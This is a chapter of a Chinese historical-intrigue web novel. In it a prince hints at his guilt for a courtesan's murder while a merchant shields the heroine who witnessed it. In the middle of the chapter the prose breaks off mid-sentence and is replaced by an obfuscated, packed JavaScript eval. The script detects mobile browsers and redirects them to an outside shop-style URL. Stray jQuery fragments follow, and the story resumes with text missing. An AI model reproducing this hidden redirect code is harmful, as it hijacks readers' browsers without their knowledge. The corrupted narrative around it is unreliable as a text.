77. 杯弓蛇影

作品:《秦王殿下他软饭硬吃

    杜枕山愣了一愣,笑着道:“会否是……大王认错人了?”


    宋娘子仅去过浮香阁一回,岂会又再现身浮香阁?


    “小王年轻,记性正好,并未认错。那日一早,她鬼鬼祟祟闯进浮香阁,被我的亲卫抓住后,谎称弟弟与方思齐为了那个妓子,曾大打出手。她去浮香阁,是为向假母和那个妓子致歉。”


    李玉烛眼眸微眯,神情颇为不悦。


    “她还说名叫陈昭昭,家住安邑坊六曲巷左第五户。本王派人找去,却扑了个空,被她骗了。尔后隔了一日,就见方邑尘带着金吾卫直奔浮香阁去。”


    微顿,又望向他,意味深长道:“这位女先生,郎君可有查过来历?会否是……哪些人派来郎君身边的奸细?”


    杜枕山听罢背脊生寒,垂着的双手悄然两捏。


    晋王言之灼灼,与事实相符,看来,宋娘子其后还去过一次浮香阁。


    原来通缉令上,所谓的嫌犯-陈氏姐弟的住址,竟然是这么来的!


    只是,晋王言下之意委实危险,便赶忙拱手澄清:“大王多虑了,宋娘子绝无可能给方邑尘送信。她本汉中人氏,来京是为投靠亲戚,却寻亲未果。小民遇她的那日,她病饿交加,晕倒在街上。”


    未待晋王回应,他又迅速轻声:“小民翻看她时,见她眉眼极肖小民亡妻,方才救她回家,这些日子一直在小民府上住着,不曾离开过一日。小民已向她表明心意,欲娶她继弦。她对草民也……也颇有深意!”


    “原是如此!那日小王见她娇俏可爱,又被小王吓得楚楚可怜,本想纳入囊中细细赏玩,却被她骗了一道,哈哈哈……”


    李玉烛年纪不大,心眼可不小,听出杜枕山的回护之意。


    朗声大笑后,轻拍杜枕山肩头。


    “郎君对先夫人深情意重,五年未纳未娶,枕畔孤凉。既然小王后来一步,缘分稍迟,那就不夺人所好了!”


    杜枕山红着脸耳揖谢:“谢大王成全。至于大王所虑……小民听说,方思齐曾拿着月凤娘子所盗礼单,离开过浮香阁。若是有人向方邑尘报信,只能是方思齐,绝无可能是我那女先生。她在长安举目无亲……”


    “好啦,好啦!”李玉烛打断他,笑着将他肩头一按,“小王也就是说说,郎君勿忧!不过,你的那女先生,被小王那般恐吓,却还对你守口如瓶,胆量不可小觑啊!”


    “女先生是个周全人,想是有所顾虑,才不敢向小民坦言。回头,小民找她问问缘由。”


    “嗯!小王前面所言,望郎君回头认真想想。小王才是皇帝的亲儿子,将来坐上帝座的,也只能是小王,而非朱令公或他的儿子。朱令公帐下人多,小王背后人也不少。”


    杜枕山心头翻江倒海,知晋王所指,却顾左右而言它:“大王放心,小民今日就派人去京兆府外头盯着,一待假母放出来,立时送她归西。另外,小民也会马上派人打探罗世昌下落。”


    李玉烛负手看他,狐狸眼中的笑意敛去,缓缓蒙上寒霜。


    “五年未见,郎君竟然变得……不真诚了!在小王接承帝位之前,有的是时间,等郎君做决断。郎君想清楚了,就径直来找小王。”


    杜枕山将惭然眉睫一垂,轻声:“小民……记在心里了。”


    晋王想拿到朱令公的账簿和藏宝地,他有自己的顾虑,不可能即刻给出!


    “小王就不打扰郎君了,”晋王昂首朝月洞门走,“望郎君记住,小王今日,可没来过你这临江豪宅。”


    “小民明白。”杜枕山亦步亦趋相送。


    二人出了临江花园的月洞门,见杜二、晏二似是早就来了。


    见杜枕山伴着晋王出来,二人躬拱手迎驾:“参见晋王。”


    李玉烛止步,先将杜栖池一望,上前一步将手搭上他肩头,笑着道:“杜二郎的手段,小王听说我那些亲卫说了,好生厉害。就是余着一分妇人之仁,劝留方思齐一命。谋大事者不留后患,往后杜二郎,还得狠上几分才是!”


    杜栖池眼睫一垂盖住眼底黯然,勉强笑应:“遵命!”


    李玉烛又望向瑟瑟缩缩的晏云洵,抵近他笑道:“你,应当就是晏二郎吧!倒是个妙人儿,与小王喜好一致。若非小王知道得晚,定将那妓子讨来送你。可惜人死不能复生,还望晏二郎节哀,万莫对小王心生怨怼。”


    晏云洵将脸一埋,咬着牙关低声道:“晏二何敢?”


    杜枕山瞪了一眼晏云洵,三兄弟送晋王出府,却被晋王叫停:“诸位止步,就莫送小王出门了,免得街上有耳眼。”


    三兄弟只能在府门之内拱手相送:“那就,恭送晋王。”


    李玉烛率领二十亲卫,昂长出门。


    为免引人耳目,出门后亲卫前后遥遥散开,李玉烛则登上停在门外的青幔马车。


    马夫扬鞭之际,李玉烛倏地挑帘轻喝“慢着”,又冲伴驾的亲卫手指轻勾,小声朝亲卫咬耳:“你带几人留下,候在这里。若见那日浮香阁遇到的‘陈昭昭’,就将她逮了。”


    “陈昭昭原是躲在杜府里面?难怪卑职带人跑了个空,若是抓到她,如何处置?”


    “皇帝老儿,都还得哄着本王、顺着本王。除了本王的舅舅和老子娘,敢欺瞒、戏耍本王的人……还没出生来!若是抓到,将她悄摸摸带回王府,莫惊动王府管事。”


    李玉烛脸上浮露一抹阴恻笑意,冲着杜府门楣,将狐狸眼戾然一张。


    府门之内,晏云洵亦是瞪着双目,瞪视望不出视线的门庭。


    彻骨的仇恨正在他肚子沸滚,为月凤复仇的念头正在他脑子里燃烧,却被姐夫的问话声打断:“晏云洵,除了拿钱赎你那一回,你可知宋娘子为何,又去了一遭浮香阁?”


    “她不是说没去……”晏云洵顺口应声,心头一警,将姐夫凝霜生寒的玉面一望,眼帘一垂小声,“不、不知。”


    “还敢说不知?”


    话虽只说了一半,杜枕山已听明白。


    抵近他,凑近脸冲他寒声:“你知不知道,你险些害死她?她在浮香阁撞见晋王,亲见晋王将那个花魁抛尸面前,也因此一见,晋王对她心生图谋,四处找她。”


    抛尸?晏云洵眼眸愤怒须臾,抬眼望向姐夫,终还是小声嗫嚅:“那日回来后,我是求了她,替我最后找一回月凤,若月凤对我果真无意,也就罢了。我不知她恰巧撞见晋王行凶,她没同我说啊!”


    杜枕山咬牙将手一扬,吓得晏云洵阖目缩肩。


    杜栖池上前一步,阻到二人中间,叹道:“晏二本无心,奈何歹人却有意,阴差阳错罢了。事已至此,纠缠无益。”


    杜枕山摔手转身:“你二人去准备车驾、货礼,稍后同我一起去方府。我去问问娘子。”


    去往后院的路上,晋王的话在杜枕山耳边回荡。


    “……你的那女先生,被小王那般恐吓,却还对你守口如瓶,胆量不可小觑啊!”


    小觑?他无声轻叹。


    打从第一回与宋娘子过招,他色诱又兼财色,她毫不动心不说,还将他折辱了一回,何敢再小觑她?


    但若说,是她跑去给方邑尘送信,那是万万不可能!


    只是不知,她为何瞒而不报?


    揣着满腹心思,他立足后院的月亮门外,见宋娘子背对着他,呆呆站在院中,不见婆妇和儿子晏靖朝。


    拢手将她看了须臾,他才走进门轻唤:“宋娘子。”


    楚昭宁闻唤转身见是他,未作片刻犹豫,携着一团疾风奔近他,双手遥遥伸来,将他的手一把攥紧。


    “快去报官、杜郎快去报官,那个人、方才与你一处的那个人是凶手,是虐杀月凤和慕尘的凶手……他该死,千刀万剐也不足弥罪!”


    楚昭宁气喘急促,嘴唇颤抖,话说得咬牙切齿。


    她眼中、脑中,尽是月凤坠楼后,七窍流血的惨相。


    是慕尘公子被人拖回去时,断腿拖出的那道长长血路,是他其后被折磨时发出的惨嚎。


    是那个狐面男子,视人命如草芥的松快语气,举重若轻的事后安排,和凑近她时的狞笑……此人却出现在杜府,还和杜枕山站在一处!


    等不及


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784971|174738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杜枕山回应,她又带着哭腔急声:“郎君再莫与他往来,他是杀人凶手、是凶手!”


    杜枕山的手,被她两只娇小的手捏得生疼;他的眼眸里,映入她愤怒的俏脸;耳边响着,她连珠炮似地斥吼……


    他深吸一口气强抑心神,眼中浮出讶然,语里带了怔忡:“宋娘子……你在说什么?”


    楚昭宁的嗓音里带了哽咽,盯着他,冲他一字一句:“那个人,陪你在临江花园的那个人……是虐杀月凤,和慕尘公子的凶手、凶手!”


    “看来方公子一案,将娘子吓得不轻!”杜枕山摇头慨然一笑。


    他抽走手,却将她两只颤抖的手,轻轻合握在手心里,缓声向她解释。


    “是娘子误认了!他是汴州人,姓秦,家中经营茶盐行当,与我有交易往来。此前,他在洛阳等我过去谈生意,又同我一道回的长安,怎会是杀人凶手?”


    楚昭宁难以置信,神情恍惚,语气磕磕绊绊:“可是、可是他那双狐狸眼,还身上那股莫名的香气,我都、我都……”


    “长有狐狸眼的人,何其之多!”


    杜枕山打断她,两手轻轻抚捏她单薄的肩头,笑着柔声:“至于香气,秦公子所熏之香为茵犀香。茵犀香虽为宫廷御香,富贵人家也爱烧用,我府上就有。回头,我让人给娘子送去几品烧用。”


    楚昭宁全身沸腾的热血,被他柔若春风般的话拂凉……原是她杯弓蛇影,认错人了!


    杜枕山将冠玉般的脸,朝她凑近了几分,柔声置问:“倒是娘子,怎地说出这番话?可是,你后来又去了浮香阁一回,才在那里撞见了凶手?”


    楚昭宁蓦地捂住嘴,眼神惊慌地看他,不敢吭气。


    杜枕山两轻轻一捏她的肩,摇头笑嗔:“不必再帮云洵遮掩。他说为探花魁口风,他托你又去了一回浮香阁。既然撞见恶人行凶,娘子为何不报?你若有个三长两短,叫我于心何安?”


    楚昭宁嘴唇几启几阖,终还是一垂眼帘小声:“我深蒙郎君恩惠……撞见那等大案,又见那人当众行凶还能气定神闲,背景必定深不可测。所以,只我一人知晓即可,若受牵连,也只我一人受着,万不敢将郎君阖府的人牵连进来。”


    同她一起送信的人,是张翼虎!


    若是向杜枕山坦白送信一事,杜枕山再向方台端转述,她与他,必定会被带到方台端面前陈情!


    可张翼虎现是戴罪之身,方台端又是御使台官员,若是逼问出张翼虎姓名等详情,他难免会被捉了下狱!


    还是……不说的好!


    杜枕山愕然看她,默了须臾,伸手将她额头轻轻一推,哑声:“你个……小傻子!”


    被他这不知是嗔、还是怨地一推额头,楚昭宁慌乱将他一看,见他竟是满脸心疼色。


    “我虽是个商户,背后也是有人的。”杜枕山伸指于她眼睑下一抹,带走她眼下一片未干的泪痕,喑哑柔声,“再说一次,往后便我晏杜两家临刀山陷、火海,宋娘子也不必插手,可记住了?”


    被他眼中深意一惊,又被他伸指一拭,楚昭脸耳一烫,局促后退一步,垂眸轻声:“记住了,主君。”


    “娘子又忘了,当叫我‘杜郎’!”


    杜枕山弯唇一笑,看她的眼神流光溢彩。


    面前女子小他十余岁,双十年华,与晏云洵一般年纪,小家碧玉般乖巧。


    她看着娇憨面浅,温吞木讷,却敢将天大祸事藏在心里,只为不连累他,傻得令他心疼,勇得使他惭愧!


    “今日,我还待去方府吊唁慰问。待我回来,就同娘子将那份聘师文书签了。”


    楚昭宁讷讷唤了一声“杜郎”,见他含笑转身,忽地想起什么,一把将他拉住。


    “主君,不,杜郎,通缉令的事可已办妥?”


    杜枕山望着她满是期盼的脸,本想隐瞒,脱口而出的话却成了:“妥了!”


    未待她回应,他先一步反应过来,补了一句:“不过,京兆府撒换满城通缉画像,还需三五日,你就先在我府上住着。待一切处置妥当,我再同你说。”